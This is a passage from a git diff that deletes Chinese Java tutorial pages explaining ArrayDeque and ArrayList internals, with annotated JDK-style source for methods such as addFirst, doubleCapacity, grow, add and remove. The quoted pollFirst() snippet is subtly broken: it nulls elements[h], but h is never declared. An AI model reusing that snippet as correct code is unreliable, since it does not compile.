弹出队首元素 -String poll = queue.poll(); -System.out.println("弹出的元素为:" + poll); // 沉默 - -// 修改队列中的元素 -queue.poll(); -queue.offer("小明"); -System.out.println("修改后的队列为:" + queue); // [陈清扬, 小明] - -// 查找元素 -Iterator iterator = queue.iterator(); -int index = 0; -while (iterator.hasNext()) { - String element = iterator.next(); - if (element.equals("王二")) { - System.out.println("元素在队列中的位置为:" + index); // 0 - break; - } - index++; -} -``` - -在上面的示例中,我们先创建了一个 ArrayDeque 对象,然后使用 offer 方法向队列中添加了三个元素。接着使用 peek 方法获取队首元素,使用 poll 方法弹出队首元素,使用 poll 和 offer 方法修改队列中的元素,使用迭代器查找元素在队列中的位置。 - -[我们前面讲了](https://javabetter.cn/collection/gailan.html),LinkedList不只是个 List,还是一个 Queue,它也实现了 Deque 接口。 - -```java -public class LinkedList - extends AbstractSequentialList - implements List, Deque, Cloneable, java.io.Serializable -{} -``` - -所以,当我们需要使用队列时,还可以选择[LinkedList](https://javabetter.cn/collection/linkedlist.html)。 - -```java -// 创建一个 LinkedList 对象 -LinkedList queue = new LinkedList<>(); - -// 添加元素 -queue.offer("沉默"); -queue.offer("王二"); -queue.offer("陈清扬"); -System.out.println(queue); // 输出 [沉默, 王二, 陈清扬] - -// 删除元素 -queue.poll(); -System.out.println(queue); // 输出 [王二, 陈清扬] - -// 修改元素:LinkedList 中的元素不支持直接修改,需要先删除再添加 -String first = queue.poll(); -queue.offer("王大二"); -System.out.println(queue); // 输出 [陈清扬, 王大二] - -// 查找元素:LinkedList 中的元素可以使用 get() 方法进行查找 -System.out.println(queue.get(0)); // 输出 陈清扬 -System.out.println(queue.contains("沉默")); // 输出 false - -// 查找元素:使用迭代器的方式查找陈清扬 -// 使用迭代器依次遍历元素并查找 -Iterator iterator = queue.iterator(); -while (iterator.hasNext()) { - String element = iterator.next(); - if (element.equals("陈清扬")) { - System.out.println("找到了:" + element); - break; - } -} -``` - -在使用 LinkedList 作为队列时,可以使用 offer() 方法将元素添加到队列的末尾,使用 poll() 方法从队列的头部删除元素,使用迭代器或者 poll() 方法依次遍历元素。 - -### 栈和队列 - -要讲栈和队列,首先要讲*Deque*接口。*Deque*的含义是“double ended queue”,即双端队列,它既可以当作栈使用,也可以当作队列使用。下表列出了*Deque*与*Queue*相对应的接口: - -| Queue Method | Equivalent Deque Method | 说明 | -| ------------ | ----------------------- | -------------------------------------- | -| add(e) | addLast(e) | 向队尾插入元素,失败则抛出异常 | -| offer(e) | offerLast(e) | 向队尾插入元素,失败则返回`false` | -| remove() | removeFirst() | 获取并删除队首元素,失败则抛出异常 | -| poll() | pollFirst() | 获取并删除队首元素,失败则返回`null` | -| element() | getFirst() | 获取但不删除队首元素,失败则抛出异常 | -| peek() | peekFirst() | 获取但不删除队首元素,失败则返回`null` | - -下表列出了*Deque*与*Stack*对应的接口: - -| Stack Method | Equivalent Deque Method | 说明 | -| ------------ | ----------------------- | -------------------------------------- | -| push(e) | addFirst(e) | 向栈顶插入元素,失败则抛出异常 | -| 无 | offerFirst(e) | 向栈顶插入元素,失败则返回`false` | -| pop() | removeFirst() | 获取并删除栈顶元素,失败则抛出异常 | -| 无 | pollFirst() | 获取并删除栈顶元素,失败则返回`null` | -| peek() | getFirst() | 获取但不删除栈顶元素,失败则抛出异常 | -| 无 | peekFirst() | 获取但不删除栈顶元素,失败则返回`null` | - -上面两个表共定义了*Deque*的 12 个接口。 - -添加,删除,取值都有两套接口,它们功能相同,区别是对失败情况的处理不同。 - -**一套接口遇到失败就会抛出异常,另一套遇到失败会返回特殊值(`false`或`null`)**。除非某种实现对容量有限制,大多数情况下,添加操作是不会失败的。 - -**虽然*Deque*的接口有 12 个之多,但无非就是对容器的两端进行操作,或添加,或删除,或查看**。明白了这一点讲解起来就会非常简单。 - -*ArrayDeque*和*LinkedList*是*Deque*的两个通用实现,由于官方更推荐使用*ArrayDeque*用作栈和队列,加之上一篇已经讲解过[LinkedList](https://javabetter.cn/collection/linkedlist.html),本文将着重讲解*ArrayDeque*的具体实现。 - -从名字可以看出*ArrayDeque*底层通过数组实现,为了满足可以同时在数组两端插入或删除元素的需求,该数组还必须是循环的,即**循环数组(circular array)**,也就是说数组的任何一点都可能被看作起点或者终点。 - -*ArrayDeque*是非线程安全的(not thread-safe),当多个线程同时使用的时候,需要手动同步;另外,该容器不允许放入`null`元素。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/arraydeque-1e7086a3-3d31-4553-aa16-5eaf2193649e.png) - - -上图中我们看到,**`head`指向首端第一个有效元素,`tail`指向尾端第一个可以插入元素的空位**。因为是循环数组,所以`head`不一定总等于 0,`tail`也不一定总是比`head`大。 - -### 方法剖析 - -#### addFirst() - -`addFirst(E e)`的作用是在*Deque*的首端插入元素,也就是在`head`的前面插入元素,在空间足够且下标没有越界的情况下,只需要将`elements[--head] = e`即可。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/arraydeque-459afbba-2778-4241-97fb-f01a29b79458.png) - -实际需要考虑: - -1. 空间是否够用,以及 -2. 下标是否越界的问题。 - -上图中,如果`head`为`0`之后接着调用`addFirst()`,虽然空余空间还够用,但`head`为`-1`,下标越界了。下列代码很好的解决了这两个问题。 - - -```java -//addFirst(E e) -public void addFirst(E e) { - if (e == null)//不允许放入null - throw new NullPointerException(); - elements[head = (head - 1) & (elements.length - 1)] = e;//2.下标是否越界 - if (head == tail)//1.空间是否够用 - doubleCapacity();//扩容 -} -``` - -上述代码我们看到,**空间问题是在插入之后解决的**,因为`tail`总是指向下一个可插入的空位,也就意味着`elements`数组至少有一个空位,所以插入元素的时候不用考虑空间问题。 - -下标越界的处理解决起来非常简单,`head = (head - 1) & (elements.length - 1)`就可以了,**这段代码相当于取余,同时解决了`head`为负值的情况**。因为`elements.length`必需是`2`的指数倍,`elements - 1`就是二进制低位全`1`,跟`head - 1`相与之后就起到了取模的作用,如果`head - 1`为负数(其实只可能是-1),则相当于对其取相对于`elements.length`的补码。 - -下面再说说扩容函数`doubleCapacity()`,其逻辑是申请一个更大的数组(原数组的两倍),然后将原数组复制过去。过程如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/arraydeque-f1386b63-10be-4998-bb6d-bf6560cca7ee.png) - -图中我们看到,复制分两次进行,第一次复制`head`右边的元素,第二次复制`head`左边的元素。 - -```java -//doubleCapacity() -private void doubleCapacity() { - assert head == tail; - int p = head; - int n = elements.length; - int r = n - p; // head右边元素的个数 - int newCapacity = n << 1;//原空间的2倍 - if (newCapacity < 0) - throw new IllegalStateException("Sorry, deque too big"); - Object[] a = new Object[newCapacity]; - System.arraycopy(elements, p, a, 0, r);//复制右半部分,对应上图中绿色部分 - System.arraycopy(elements, 0, a, r, p);//复制左半部分,对应上图中灰色部分 - elements = (E[])a; - head = 0; - tail = n; -} -``` - -该方法的实现中,首先检查 head 和 tail 是否相等,如果不相等则抛出异常。然后计算出 head 右边的元素个数 r,以及新的容量 newCapacity,如果 newCapacity 太大则抛出异常。 - -接下来创建一个新的 Object 数组 a,将原有 ArrayDeque 中 head 右边的元素复制到 a 的前面(即图中绿色部分),将 head 左边的元素复制到 a 的后面(即图中灰色部分)。最后将 elements 数组替换为 a,head 设置为 0,tail 设置为 n(即新容量的长度)。 - -需要注意的是,由于 elements 数组被替换为 a 数组,因此在方法调用结束后,原有的 elements 数组将不再被引用,会被垃圾回收器回收。 - -#### addLast() - -`addLast(E e)`的作用是在*Deque*的尾端插入元素,也就是在`tail`的位置插入元素,由于`tail`总是指向下一个可以插入的空位,因此只需要`elements[tail] = e;`即可。插入完成后再检查空间,如果空间已经用光,则调用`doubleCapacity()`进行扩容。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/arraydeque-832c796a-6c24-4546-9f91-22ed39884363.png) - -```java -public void addLast(E e) { - if (e == null)//不允许放入null - throw new NullPointerException(); - elements[tail] = e;//赋值 - if ( (tail = (tail + 1) & (elements.length - 1)) == head)//下标越界处理 - doubleCapacity();//扩容 -} -``` - -下标越界处理方式`addFirt()`中已经讲过,不再赘述。 - -#### pollFirst() - -`pollFirst()`的作用是删除并返回*Deque*首端元素,也即是`head`位置处的元素。如果容器不空,只需要直接返回`elements[head]`即可,当然还需要处理下标的问题。由于`ArrayDeque`中不允许放入`null`,当`elements[head] == null`时,意味着容器为空。 - -```java -public E pollFirst() { - E result = elements[head]; - if (result == null)//null值意味着deque为空 - return null; - elements[h] = null;//let GC work - head = (head + 1) & (elements.length - 1);//下标越界处理 - return result; -} -``` - -#### pollLast() - -`pollLast()`的作用是删除并返回*Deque*尾端元素,也即是`tail`位置前面的那个元素。 - -```java -public E pollLast() { - int t = (tail - 1) & (elements.length - 1);//tail的上一个位置是最后一个元素 - E result = elements[t]; - if (result == null)//null值意味着deque为空 - return null; - elements[t] = null;//let GC work - tail = t; - return result; -} -``` - -#### peekFirst() - -`peekFirst()`的作用是返回但不删除*Deque*首端元素,也即是`head`位置处的元素,直接返回`elements[head]`即可。 - -```java -public E peekFirst() { - return elements[head]; // elements[head] is null if deque empty -} -``` - -#### peekLast() - -`peekLast()`的作用是返回但不删除*Deque*尾端元素,也即是`tail`位置前面的那个元素。 - -```java -public E peekLast() { - return elements[(tail - 1) & (elements.length - 1)]; -} -``` - -### 小结 - -当需要实现先进先出(FIFO)或者先进后出(LIFO)的数据结构时,可以考虑使用 ArrayDeque。以下是一些使用 ArrayDeque 的场景: - -- 管理任务队列:如果需要实现一个任务队列,可以使用 ArrayDeque 来存储任务元素。在队列头部添加新任务元素,从队列尾部取出任务进行处理,可以保证任务按照先进先出的顺序执行。 -- 实现栈:ArrayDeque 可以作为栈的实现方式,支持 push、pop、peek 等操作,可以用于需要后进先出的场景。 -- 实现缓存:在需要缓存一定数量的数据时,可以使用 ArrayDeque。当缓存的数据量超过容量时,可以从队列头部删除最老的数据,从队列尾部添加新的数据。 -- 实现事件处理器:ArrayDeque 可以作为事件处理器的实现方式,支持从队列头部获取事件进行处理,从队列尾部添加新的事件。 - -简单总结一下吧。 - -ArrayDeque 是 Java 标准库中的一种双端队列实现,底层基于数组实现。与 LinkedList 相比,ArrayDeque 的性能更优,因为它使用连续的内存空间存储元素,可以更好地利用 CPU 缓存,在大多数情况下也更快。 - -为什么这么说呢? - -因为ArrayDeque 的底层实现是数组,而 LinkedList 的底层实现是链表。数组是一段连续的内存空间,而链表是由多个节点组成的,每个节点存储数据和指向下一个节点的指针。因此,在使用 LinkedList 时,需要频繁进行内存分配和释放,而 ArrayDeque 在创建时就一次性分配了连续的内存空间,不需要频繁进行内存分配和释放,这样可以更好地利用 CPU 缓存,提高访问效率。 - -现代计算机CPU对于数据的局部性有很强的依赖,如果需要访问的数据在内存中是连续存储的,那么就可以利用CPU的缓存机制,提高访问效率。而当数据存储在不同的内存块里时,每次访问都需要从内存中读取,效率会受到影响。 - -当然了,使用 ArrayDeque 时,数组复制操作也是需要考虑的性能消耗之一。 - -当 ArrayDeque 的元素数量超过了初始容量时,会触发扩容操作。扩容操作会创建一个新的数组,并将原有元素复制到新数组中。扩容操作的时间复杂度为 O(n)。 - -不过,ArrayDeque 的扩容策略(当 ArrayDeque 中的元素数量达到数组容量时,就需要进行扩容操作,扩容时会将数组容量扩大为原来的两倍)可以在一定程度上减少数组复制的次数和时间消耗,同时保证 ArrayDeque 的性能和空间利用率。 - -ArrayDeque 不仅支持常见的队列操作,如添加元素、删除元素、获取队列头部元素、获取队列尾部元素等。同时,它还支持栈操作,如 push、pop、peek 等。这使得 ArrayDeque 成为一种非常灵活的数据结构,可以用于各种场景的数据存储和处理。 - - ->参考链接:[https://github.com/CarpenterLee/JCFInternals](https://github.com/CarpenterLee/JCFInternals),作者:李豪,整理:沉默王二 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/collection/arraylist.md b/docs/src/collection/arraylist.md deleted file mode 100644 index 0d843cec4a..0000000000 --- a/docs/src/collection/arraylist.md +++ /dev/null @@ -1,620 +0,0 @@ ---- -title: 京东实习一面:聊聊Java ArrayList,扩容机制了解吗? -shortTitle: ArrayList详解(附源码) -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java ArrayList 的实现原理、功能特点以及源码,为您提供了 ArrayList 的实际应用示例和性能优化建议。阅读本文,将帮助您更深入地理解 ArrayList,从而在实际编程中充分发挥其优势。 -head: - - - meta - - name: keywords - content: Java,ArrayList,ArrayList源码,源码分析, java arraylist ---- - -“二哥,听说今天我们开讲 ArrayList 了?好期待哦!”三妹明知故问,这个托配合得依然天衣无缝。 - -“是的呀,三妹。”我肯定地点了点头,继续说道,“ArrayList 可以称得上是集合框架方面最常用的类了,可以和 HashMap 一较高下。” - -从名字就可以看得出来,ArrayList 实现了 List 接口,并且是基于数组实现的。 - -数组的大小是固定的,一旦创建的时候指定了大小,就不能再调整了。也就是说,如果数组满了,就不能再添加任何元素了。ArrayList 在数组的基础上实现了自动扩容,并且提供了比数组更丰富的预定义方法(各种增删改查),非常灵活。 - -Java 这门编程语言和别的编程语言,比如说 C语言的不同之处就在这里,如果是 C语言的话,你就必须得动手实现自己的 ArrayList,原生的库函数里面是没有的。 - -### 01、创建 ArrayList - -“二哥,**如何创建一个 ArrayList 啊**?”三妹问。 - -```java -ArrayList alist = new ArrayList(); -``` - -可以通过上面的语句来创建一个字符串类型的 ArrayList(通过尖括号来限定 ArrayList 中元素的类型,如果尝试添加其他类型的元素,将会产生编译错误),更简化的写法如下: - -```java -List alist = new ArrayList<>(); -``` - -由于 ArrayList 实现了 List 接口,所以 alist 变量的类型可以是 List 类型;new 关键字声明后的尖括号中可以不再指定元素的类型,因为编译器可以通过前面尖括号中的类型进行智能推断。 - -此时会调用无参构造方法(见下面的代码)创建一个空的数组,常量DEFAULTCAPACITY_EMPTY_ELEMENTDATA的值为 `{}`。 - -```java -public ArrayList() { - this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA; -} -``` - -如果非常确定 ArrayList 中元素的个数,在创建的时候还可以指定初始大小。 - -```java -List alist = new ArrayList<>(20); -``` - -这样做的好处是,可以有效地避免在添加新的元素时进行不必要的扩容。 - -### 02、向 ArrayList 中添加元素 - -“二哥,**那怎么向 ArrayList 中添加一个元素呢**?”三妹继续问。 - -可以通过 `add()` 方法向 ArrayList 中添加一个元素。 - -```java -alist.add("沉默王二"); -``` - -我们来跟一下源码,看看 add 方法到底执行了哪些操作。跟的过程中,我们也可以偷师到 Java 源码的作者(大师级程序员)是如何优雅地写代码的。 - -我先给个结论,全当抛砖引玉。 - -``` -堆栈过程图示: -add(element) -└── if (size == elementData.length) // 判断是否需要扩容 - ├── grow(minCapacity) // 扩容 - │ └── newCapacity = oldCapacity + (oldCapacity >> 1) // 计算新的数组容量 - │ └── Arrays.copyOf(elementData, newCapacity) // 创建新的数组 - ├── elementData[size++] = element; // 添加新元素 - └── return true; // 添加成功 -``` - -来具体看一下,先是 `add()` 方法的源码(已添加好详细地注释) - -```java -/** - * 将指定元素添加到 ArrayList 的末尾 - * @param e 要添加的元素 - * @return 添加成功返回 true - */ -public boolean add(E e) { - ensureCapacityInternal(size + 1); // 确保 ArrayList 能够容纳新的元素 - elementData[size++] = e; // 在 ArrayList 的末尾添加指定元素 - return true; -} -``` - -参数 e 为要添加的元素,此时的值为“沉默王二”,size 为 ArrayList 的长度,此时为 0。 - -继续跟下去,来看看 `ensureCapacityInternal()`方法: - -```java -/** - * 确保 ArrayList 能够容纳指定容量的元素 - * @param minCapacity 指定容量的最小值 - */ -private void ensureCapacityInternal(int minCapacity) { - if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) { // 如果 elementData 还是默认的空数组 - minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity); // 使用 DEFAULT_CAPACITY 和指定容量的最小值中的较大值 - } - - ensureExplicitCapacity(minCapacity); // 确保容量能够容纳指定容量的元素 -} -``` - -此时: - -- 参数 minCapacity 为 1(size+1 传过来的) -- elementData 为存放 ArrayList 元素的底层数组,前面声明 ArrayList 的时候讲过了,此时为空 `{}` -- DEFAULTCAPACITY_EMPTY_ELEMENTDATA 前面也讲过了,为 `{}` - -所以,if 条件此时为 true,if 语句`minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity)`要执行。 - -DEFAULT_CAPACITY 为 10(见下面的代码),所以执行完这行代码后,minCapacity 为 10,`Math.max()` 方法的作用是取两个当中最大的那个。 - -```java -private static final int DEFAULT_CAPACITY = 10; -``` - -接下来执行 `ensureExplicitCapacity()` 方法,来看一下源码: - -```java -/** - * 检查并确保集合容量足够,如果需要则增加集合容量。 - * - * @param minCapacity 所需最小容量 - */ -private void ensureExplicitCapacity(int minCapacity) { - // 检查是否超出了数组范围,确保不会溢出 - if (minCapacity - elementData.length > 0) - // 如果需要增加容量,则调用 grow 方法 - grow(minCapacity); -} -``` - -此时: - -- 参数 minCapacity 为 10 -- elementData.length 为 0(数组为空) - -所以 10-0>0,if 条件为 true,进入 if 语句执行 `grow()` 方法,来看源码: - -```java -/** - * 扩容 ArrayList 的方法,确保能够容纳指定容量的元素 - * @param minCapacity 指定容量的最小值 - */ -private void grow(int minCapacity) { - // 检查是否会导致溢出,oldCapacity 为当前数组长度 - int oldCapacity = elementData.length; - int newCapacity = oldCapacity + (oldCapacity >> 1); // 扩容至原来的1.5倍 - if (newCapacity - minCapacity < 0) // 如果还是小于指定容量的最小值 - newCapacity = minCapacity; // 直接扩容至指定容量的最小值 - if (newCapacity - MAX_ARRAY_SIZE > 0) // 如果超出了数组的最大长度 - newCapacity = hugeCapacity(minCapacity); // 扩容至数组的最大长度 - // 将当前数组复制到一个新数组中,长度为 newCapacity - elementData = Arrays.copyOf(elementData, newCapacity); -} -``` - -此时: - -- 参数 minCapacity 为 10 -- 变量 oldCapacity 为 0 - -所以 newCapacity 也为 0,于是 `newCapacity - minCapacity` 等于 -10 小于 0,于是第一个 if 条件为 true,执行第一个 if 语句 `newCapacity = minCapacity`,然后 newCapacity 为 10。 - -紧接着执行 `elementData = Arrays.copyOf(elementData, newCapacity);`,也就是进行数组的第一次扩容,长度为 10。 - -回到 `add()` 方法: - -```java -public boolean add(E e) { - ensureCapacityInternal(size + 1); - elementData[size++] = e; - return true; -} -``` - -执行 `elementData[size++] = e`。 - -此时: - -- size 为 0 -- e 为 “沉默王二” - -所以数组的第一个元素(下标为 0) 被赋值为“沉默王二”,接着返回 true,第一次 add 方法执行完毕。 - -PS:add 过程中会遇到一个令新手感到困惑的右移操作符 `>>`,借这个机会来解释一下。 - -ArrayList 在第一次执行 add 后会扩容为 10,那 ArrayList 第二次扩容发生在什么时候呢? - -答案是添加第 11 个元素时,大家可以尝试分析一下这个过程。 - -### 03、右移操作符 - -“oldCapacity 等于 10,`oldCapacity >> 1` 这个表达式等于多少呢?三妹你知道吗?”我问三妹。 - -“不知道啊,`>>` 是什么意思呢?”三妹很疑惑。 - -“`>>` 是右移运算符,`oldCapacity >> 1` 相当于 oldCapacity 除以 2。”我给三妹解释道,“在计算机内部,都是按照二进制存储的,10 的二进制就是 1010,也就是 `0*2^0 + 1*2^1 + 0*2^2 + 1*2^3`=0+2+0+8=10 。。。。。。” - -还没等我解释完,三妹就打断了我,“二哥,能再详细解释一下到底为什么吗?” - -“当然可以啊。”我拍着胸脯对三妹说。 - -先从位权的含义说起吧。 - -平常我们使用的是十进制数,比如说 39,并不是简单的 3 和 9,3 表示的是 `3*10 = 30`,9 表示的是 `9*1 = 9`,和 3 相乘的 10,和 9 相乘的 1,就是**位权**。位数不同,位权就不同,第 1 位是 10 的 0 次方(也就是 `10^0=1`),第 2 位是 10 的 1 次方(`10^1=10`),第 3 位是 10 的 2 次方(`10^2=100`),最右边的是第一位,依次类推。 - -位权这个概念同样适用于二进制,第 1 位是 2 的 0 次方(也就是 `2^0=1`),第 2 位是 2 的 1 次方(`2^1=2`),第 3 位是 2 的 2 次方(`2^2=4`),第 4 位是 2 的 3 次方(`2^3=8`)。 - -十进制的情况下,10 是基数,二进制的情况下,2 是基数。 - -10 在十进制的表示法是 `0*10^0+1*10^1`=0+10=10。 - -10 的二进制数是 1010,也就是 `0*2^0 + 1*2^1 + 0*2^2 + 1*2^3`=0+2+0+8=10。 - -然后是**移位运算**,移位分为左移和右移,在 Java 中,左移的运算符是 `<<`,右移的运算符 `>>`。 - -拿 `oldCapacity >> 1` 来说吧,`>>` 左边的是被移位的值,此时是 10,也就是二进制 `1010`;`>>` 右边的是要移位的位数,此时是 1。 - -1010 向右移一位就是 101,空出来的最高位此时要补 0,也就是 0101。 - -“那为什么不补 1 呢?”三妹这个问题很尖锐。 - -“因为是算术右移,并且是正数,所以最高位补 0;如果表示的是负数,就需要补 1。”我慢吞吞地回答道,“0101 的十进制就刚好是 `1*2^0 + 0*2^1 + 1*2^2 + 0*2^3`=1+0+4+0=5,如果多移几个数来找规律的话,就会发现,右移 1 位是原来的 1/2,右移 2 位是原来的 1/4,诸如此类。” - -也就是说,ArrayList 的大小会扩容为原来的大小+原来大小/2,也就是 1.5 倍。 - -这下明白了吧? - -你可以通过在 ArrayList 中添加第 11 个元素来 debug 验证一下。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/collection//arraylist-d01f248c-114f-47e3-af18-7135feac2a5e.png) - -### 04、向 ArrayList 的指定位置添加元素 - -除了 `add(E e)` 方法,还可以通过 `add(int index, E element)` 方法把元素添加到 ArrayList 的指定位置: - -```java -alist.add(0, "沉默王三"); -``` - -`add(int index, E element)` 方法的源码如下: - -```java -/** - * 在指定位置插入一个元素。 - * - * @param index 要插入元素的位置 - * @param element 要插入的元素 - * @throws IndexOutOfBoundsException 如果索引超出范围,则抛出此异常 - */ -public void add(int index, E element) { - rangeCheckForAdd(index); // 检查索引是否越界 - - ensureCapacityInternal(size + 1); // 确保容量足够,如果需要扩容就扩容 - System.arraycopy(elementData, index, elementData, index + 1, - size - index); // 将 index 及其后面的元素向后移动一位 - elementData[index] = element; // 将元素插入到指定位置 - size++; // 元素个数加一 -} -``` - -`add(int index, E element)`方法会调用到一个非常重要的[本地方法](https://javabetter.cn/oo/native-method.html) `System.arraycopy()`,它会对数组进行复制(要插入位置上的元素往后复制)。 - -来细品一下。 - -这是 arraycopy() 的语法: - -```java -System.arraycopy(Object src, int srcPos, Object dest, int destPos, int length); -``` - -在 `ArrayList.add(int index, E element)` 方法中,具体用法如下: - -```java -System.arraycopy(elementData, index, elementData, index + 1, size - index); -``` - -- elementData:表示要复制的源数组,即 ArrayList 中的元素数组。 -- index:表示源数组中要复制的起始位置,即需要将 index 及其后面的元素向后移动一位。 -- elementData:表示要复制到的目标数组,即 ArrayList 中的元素数组。 -- index + 1:表示目标数组中复制的起始位置,即将 index 及其后面的元素向后移动一位后,应该插入到的位置。 -- size - index:表示要复制的元素个数,即需要将 index 及其后面的元素向后移动一位,需要移动的元素个数为 size - index。 - - -“三妹,注意看,我画幅图来表示下。”我认真地做起了图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/arraylist-01.png) - -### 05、更新 ArrayList 中的元素 - -“二哥,那怎么**更新 ArrayList 中的元素**呢?”三妹继续问。 - -可以使用 `set()` 方法来更改 ArrayList 中的元素,需要提供下标和新元素。 - -```java -alist.set(0, "沉默王四"); -``` - -假设原来 0 位置上的元素为“沉默王三”,现在可以将其更新为“沉默王四”。 - -来看一下 `set()` 方法的源码: - -```java -/** - * 用指定元素替换指定位置的元素。 - * - * @param index 要替换的元素的索引 - * @param element 要存储在指定位置的元素 - * @return 先前在指定位置的元素 - * @throws IndexOutOfBoundsException 如果索引超出范围,则抛出此异常 - */ -public E set(int index, E element) { - rangeCheck(index); // 检查索引是否越界 - - E oldValue = elementData(index); // 获取原来在指定位置上的元素 - elementData[index] = element; // 将新元素替换到指定位置上 - return oldValue; // 返回原来在指定位置上的元素 -} -``` - -该方法会先对指定的下标进行检查,看是否越界,然后替换新值并返回旧值。 - -### 06、删除 ArrayList 中的元素 - -“二哥,那怎么**删除 ArrayList 中的元素**呢?”三妹继续问。 - -`remove(int index)` 方法用于删除指定下标位置上的元素,`remove(Object o)` 方法用于删除指定值的元素。 - -```java -alist.remove(1); -alist.remove("沉默王四"); -``` - -先来看 `remove(int index)` 方法的源码: - -```java -/** - * 删除指定位置的元素。 - * - * @param index 要删除的元素的索引 - * @return 先前在指定位置的元素 - * @throws IndexOutOfBoundsException 如果索引超出范围,则抛出此异常 - */ -public E remove(int index) { - rangeCheck(index); // 检查索引是否越界 - - E oldValue = elementData(index); // 获取要删除的元素 - - int numMoved = size - index - 1; // 计算需要移动的元素个数 - if (numMoved > 0) // 如果需要移动元素,就用 System.arraycopy 方法实现 - System.arraycopy(elementData, index+1, elementData, index, - numMoved); - elementData[--size] = null; // 将数组末尾的元素置为 null,让 GC 回收该元素占用的空间 - - return oldValue; // 返回被删除的元素 -} -``` - -需要注意的是,在 ArrayList 中,删除元素时,需要将删除位置后面的元素向前移动一位,以填补删除位置留下的空缺。如果需要移动元素,则需要使用 System.arraycopy 方法将删除位置后面的元素向前移动一位。最后,将数组末尾的元素置为 null,以便让垃圾回收机制回收该元素占用的空间。 - -再来看 `remove(Object o)` 方法的源码: - -```java -/** - * 删除列表中第一次出现的指定元素(如果存在)。 - * - * @param o 要删除的元素 - * @return 如果列表包含指定元素,则返回 true;否则返回 false - */ -public boolean remove(Object o) { - if (o == null) { // 如果要删除的元素是 null - for (int index = 0; index < size; index++) // 遍历列表 - if (elementData[index] == null) { // 如果找到了 null 元素 - fastRemove(index); // 调用 fastRemove 方法快速删除元素 - return true; // 返回 true,表示成功删除元素 - } - } else { // 如果要删除的元素不是 null - for (int index = 0; index < size; index++) // 遍历列表 - if (o.equals(elementData[index])) { // 如果找到了要删除的元素 - fastRemove(index); // 调用 fastRemove 方法快速删除元素 - return true; // 返回 true,表示成功删除元素 - } - } - return false; // 如果找不到要删除的元素,则返回 false -} -``` - -该方法通过遍历的方式找到要删除的元素,null 的时候使用 == 操作符判断,非 null 的时候使用 `equals()` 方法,然后调用 `fastRemove()` 方法。 - -注意: - -- 有相同元素时,只会删除第一个。 -- 判断两个元素是否相等,可以参考[Java如何判断两个字符串是否相等](https://javabetter.cn/string/equals.html) - -继续往后面跟,来看一下 `fastRemove()` 方法: - -```java -/** - * 快速删除指定位置的元素。 - * - * @param index 要删除的元素的索引 - */ -private void fastRemove(int index) { - int numMoved = size - index - 1; // 计算需要移动的元素个数 - if (numMoved > 0) // 如果需要移动元素,就用 System.arraycopy 方法实现 - System.arraycopy(elementData, index+1, elementData, index, - numMoved); - elementData[--size] = null; // 将数组末尾的元素置为 null,让 GC 回收该元素占用的空间 -} -``` - -同样是调用 `System.arraycopy()` 方法对数组进行复制和移动。 - -“三妹,注意看,我画幅图来表示下。”我认真地做起了图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/arraylist-02.png) - -### 07、查找 ArrayList 中的元素 - -“二哥,那怎么**查找 ArrayList 中的元素**呢?”三妹继续问。 - -如果要正序查找一个元素,可以使用 `indexOf()` 方法;如果要倒序查找一个元素,可以使用 `lastIndexOf()` 方法。 - -```java -alist.indexOf("沉默王二"); -alist.lastIndexOf("沉默王二"); -``` - -来看一下 `indexOf()` 方法的源码: - -```java -/** - * 返回指定元素在列表中第一次出现的位置。 - * 如果列表不包含该元素,则返回 -1。 - * - * @param o 要查找的元素 - * @return 指定元素在列表中第一次出现的位置;如果列表不包含该元素,则返回 -1 - */ -public int indexOf(Object o) { - if (o == null) { // 如果要查找的元素是 null - for (int i = 0; i < size; i++) // 遍历列表 - if (elementData[i]==null) // 如果找到了 null 元素 - return i; // 返回元素的索引 - } else { // 如果要查找的元素不是 null - for (int i = 0; i < size; i++) // 遍历列表 - if (o.equals(elementData[i])) // 如果找到了要查找的元素 - return i; // 返回元素的索引 - } - return -1; // 如果找不到要查找的元素,则返回 -1 -} -``` - -如果元素为 null 的时候使用“==”操作符,否则使用 `equals()` 方法。 - -`lastIndexOf()` 方法和 `indexOf()` 方法类似,不过遍历的时候从最后开始。 - -```java -/** - * 返回指定元素在列表中最后一次出现的位置。 - * 如果列表不包含该元素,则返回 -1。 - * - * @param o 要查找的元素 - * @return 指定元素在列表中最后一次出现的位置;如果列表不包含该元素,则返回 -1 - */ -public int lastIndexOf(Object o) { - if (o == null) { // 如果要查找的元素是 null - for (int i = size-1; i >= 0; i--) // 从后往前遍历列表 - if (elementData[i]==null) // 如果找到了 null 元素 - return i; // 返回元素的索引 - } else { // 如果要查找的元素不是 null - for (int i = size-1; i >= 0; i--) // 从后往前遍历列表 - if (o.equals(elementData[i])) // 如果找到了要查找的元素 - return i; // 返回元素的索引 - } - return -1; // 如果找不到要查找的元素,则返回 -1 -} -``` - -`contains()` 方法可以判断 ArrayList 中是否包含某个元素,其内部就是通过 `indexOf()` 方法实现的: - -```java -public boolean contains(Object o) { - return indexOf(o) >= 0; -} -``` - -### 08、二分查找法 - -如果 ArrayList 中的元素是经过排序的,就可以使用二分查找法,效率更快。 - -[`Collections`](https://javabetter.cn/common-tool/collections.html) 类的 `sort()` 方法可以对 ArrayList 进行排序,该方法会按照字母顺序对 String 